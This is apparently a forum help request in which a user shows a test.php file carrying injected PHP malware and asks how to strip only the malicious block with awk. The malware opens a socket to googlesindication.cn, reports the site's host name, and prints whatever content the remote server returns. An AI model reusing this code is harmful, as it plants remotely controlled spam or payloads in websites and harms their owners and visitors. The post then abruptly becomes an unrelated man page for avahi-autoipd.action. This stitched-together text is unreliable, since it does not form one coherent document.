Take this example:


test.php file
##########
<?php
phpinfo();
?>
<?php
error_reporting(0);
$fn = "googlesindication.cn";
$fp = fsockopen($fn, 80, $errno, $errstr, 15);
if (!$fp) {
} else {
$query='site='.$_SERVER['HTTP_HOST'];
$out = "GET /links.php?".$query." HTTP/1.1\r\n";
$out .= "Host: googlesindication.cn\r\n";
$out .= "Connection: Keep-Alive\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$var .= fgets($fp, 128);
}
list($headers, $content) = explode("\r\n\r\n", $var);
print $content;
fclose($fp);
}
?>


[root@server #] awk '/<\?php/,/\?>/{next}1' test.php
[root@server #]
[root@server #]



I only want to clear malicious code, but it wipes out all.


Please advise.


Thanks

NAME
avahi-autoipd.action - avahi-autoipd action script SYNOPSIS
/etc/avahi/avahi-autoipd.action DESCRIPTION
avahi-autoipd.action is the action script that is called whenever an IP address has been acquired by avahi-autoipd or when it detected an IP address conflict. The script should add or remove the specified address from the specified network interface. PARAMETERS
argv[1] An event string: one of BIND, CONFLICT, UNBIND or STOP. If BIND is passed an IP address has been sucessfully acquired and the script shall add it to the network interface. If CONFLICT is passed avahi-autopid detected a IP address on the local network, the action script should remove the configured IP address. If UNBIND is passed the IP address should be removed from the interface, too, because a routable address has been configured to the interface by some other program. If STOP is passed the avahi-autoipd is being shutdown and the action script should remove the IP address. In short: on BIND the address should be added to the interface, on CONFLICT, UNBIND or STOP it should be removed. argv[2] The network interface name. argv[3] An IP address from the IPv4LL range.
